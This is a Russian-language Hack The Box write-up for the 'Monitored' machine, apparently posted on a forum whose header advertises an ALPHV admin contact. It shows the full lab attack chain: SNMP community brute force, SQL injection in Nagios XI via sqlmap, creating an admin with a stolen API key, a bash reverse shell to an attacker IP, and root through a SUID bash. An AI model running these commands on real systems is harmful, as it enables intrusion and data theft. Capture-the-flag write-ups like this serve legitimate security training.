• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Получаем доступ в систему через Nagios XI

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,182
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе мы поработаем с API системы мониторинга Nagios XI, проэксплуатируем SQL-инъекцию, создадим своего пользователя и злоупотребим возможностями админа, чтобы получить доступ к операционной системе. Затем несложным способом повысим привилегии в Linux.
Наша цель — получение прав суперпользователя на машине Monitored с учебной площадки Hack The Box. Уровень сложности задания — средний.

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.248 monitored.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Часто я дополнительно проверяю порт UDP 161.

sudo nmap -p161 -sU 10.10.11.248
В этот раз он оказался открыт.

Результат сканирования UDP-портов
Итого сканер нашел шесть открытых портов:
  • 22 — служба OpenSSH 8.4p1;
  • 80 и 443 — веб‑сервер Apache 2.4.56;
  • 389 — служба LDAP;
  • 5667 — неизвестный сервис;
  • 161 (UDP) — служба SNMP.
Также в выводе Nmap подмечаем редирект с порта 80 на адрес nagios.monitored.htb. Его тоже добавляем в /etc/hosts:

10.10.11.248 monitored.htb nagios.monitored.htb
Поскольку доступна служба SNMP, начнем именно с нее.


Точка входа​

SNMP — простой протокол управления сетью. Он используется для мониторинга устройств в сети (например, маршрутизаторов, коммутаторов, принтеров).

Тут следует сразу упомянуть два понятия:

  • MIB (Management Information Base) — база данных, хранящая информацию обо всех объектах (параметрах и настройках) устройства;
  • OID (Object Identifier) — числовой идентификатор объекта в дереве MIB.
При работе с удаленной системой по SNMP все запросы делаются по OID, который отражает положение объекта в дереве объектов MIB. Но чтобы получить всю информацию, нам сначала нужно пройти своеобразную аутентификацию, указав идентификатор сообщества. Так как мы ее не знаем, ее нужно перебрать, к примеру с помощью утилиты onesixtyone. Перебирать будем по словарю из набора Для просмотра ссылки Войди или Зарегистрируйся.

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.11.248
Перебор community-строк

В итоге нашли всего одну community-строку — public. Все OID системы можно получить, просканировав устройство, например вот такой командой:

snmpwalk -v 2c -c public 10.10.11.248
Данные, полученные из системы

Среди списков процессов есть скрипт check_host.sh, который получает в качестве параметров учетные данные. Больше в выводе ничего интересного нет, поэтому переходим к изучению сайта на обнаруженном при сканировании портов веб‑сервере.

Главная страница сайта nagios.monitored.htb

Перейдя по главной ссылке, видим форму авторизации мониторинговой системы Nagios XI.

Система Nagios XI

Точка опоры​

С имеющимися учетными данными авторизоваться в сервисе не вышло. У Nagios XI есть веб‑терминал, но и там авторизация неудачна.

Содержимое страницы terminal

Если учетная запись присутствует, но авторизация ей не разрешена, можно попробовать использовать API. Но и там нужен аутентификатор.

Для просмотра ссылки Войди или Зарегистрируйся XI/api/v1/user
Результат запроса к API user

Получить аутентификатор можно с помощью API authenticate, но данные авторизации нужно посылать методом POST.

curl -k [URL]https://nagios.monitored.htb/Nagios[/URL] XI/api/v1/authenticate
Результат запроса к API authenticate

curl -X POST -k '[URL]https://nagios.monitored.htb/Nagios[/URL] XI/api/v1/authenticate/' -d 'username=svc&password=XjH7VCehowpR1xZB' | jq
Получение аутентификатора

Однако и теперь ничего нельзя сделать. Так как других вариантов нет, попробуем найти публичные эксплоиты для нашей версии Nagios XI. Искать для начала можно прямо в Google.

Поиск эксплоитов в Google
Потратив некоторое время, я вышел на Для просмотра ссылки Войди или Зарегистрируйся нескольких уязвимостей для Nagios XI, в частности CVE-2023-40931.

Описание CVE-2023-40931

На странице admin/banner_m-ajaxhelper.php присутствует SQL-инъекция в параметре id. Немного перебрав разные варианты запроса, я определил тот, который можно использовать для эксплуатации уязвимости. Помимо приведенных в статье данных, нужно указать полученный при аутентификации через API токен.

Чтобы быстро выудить все данные, будем использовать sqlmap.

sqlmap -u "[URL]https://nagios.monitored.htb/Nagios[/URL] XI/admin/banner_m-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=ce7a353cd90beeeeaba162da874024b84e9e6b3f" -p id --batch
Обнаруженная sqlmap нагрузка

Так как известны название базы и таблицы, можно быстро сдампить данные.

sqlmap -u "[URL]https://nagios.monitored.htb/Nagios[/URL] XI/admin/banner_m-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=ce7a353cd90beeeeaba162da874024b84e9e6b3f" -p id -D Nagios XI -T xi_users --dump --batch
Данные из таблицы xi_users

Продвижение​

В базе всего два пользователя, при этом скомпрометированный пользователь svc неактивен.

Данные из базы данных

Сбрутить хеш у меня не вышло, однако теперь у нас есть токен api_key администратора системы. Этот ключ можно использовать для добавления нового пользователя, как указано на Для просмотра ссылки Войди или Зарегистрируйся Nagios XI. Чтобы наш пользователь был администратором, зададим параметр auth_level.

curl -X POST -k "[URL]https://nagios.monitored.htb/Nagios[/URL] XI/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=ralf&password=ralf&name=Ralf&email=[EMAIL]ralf@ralf.com[/EMAIL]&auth_level=admin"
Ответ сервера

Теперь можно авторизоваться от имени созданного пользователя.

Главная страница администратора

Админ может выполнять системные команды на сервере. Для этого в главном меню нужно выбрать Configure → Core Config Manager, а затем в панели слева — Commands.

Для просмотра ссылки Войди или Зарегистрируйся Страница Core Config Manager

На странице Command Management нужно создать команду, которая активирует реверс‑шелл:

bash -c 'bash -i >& /dev/tcp/10.10.16.45/4321 0>&1
Страница Command Management

Давай теперь выполним эту команду. Для этого переходим в меню Hosts, где создаем новую запись. В параметре Check command выбираем созданную ранее команду.

Страница Hosts

Страница Host Management

Когда все готово, запускаем листенер (pwncat-cs -lp 4321) и триггерим команду кликом по кнопке Run Check Command.

Результат выполнения команды

Флаг пользователя


В итоге получаем сессию на сервере от имени пользователя nagios.


Локальное повышение привилегий​

Первым делом нужно собрать информацию для дальнейшего продвижения. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Закидываем на хост скрипт для Linux, даем ему право на выполнение и запускаем сканирование. В выводе много информации, поэтому пройдемся по основным моментам.

Есть несколько файлов .services, куда мы можем производить запись.

Файл .services

В настройках sudoers — много команд, которые можно выполнить от имени root без ввода пароля.

Настройки sudoers

Скрипт /usr/local/nagiosxi/scripts/manage_services.sh позволяет управлять многими службами, в том числе npcd.

Содержимое файла manage_services.sh

Мы можем записывать в файл этой службы. Добавив в него команду, мы можем, например, дать права суперпользователя командной оболочке:

chmod u+s /bin/bash
Содержимое файла /usr/local/nagios/bin/npcd

Теперь останавливаем и запускаем службу. У файла командной оболочки появился S-бит, а значит, и права рута.

Код:
sudo /usr/local/Nagios XI/scripts/manage_services.sh stop npcd
sudo /usr/local/Nagios XI/scripts/manage_services.sh start npcd
Запуск службы
Заходим снова и забираем флаг рута.

/bin/bash -p
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here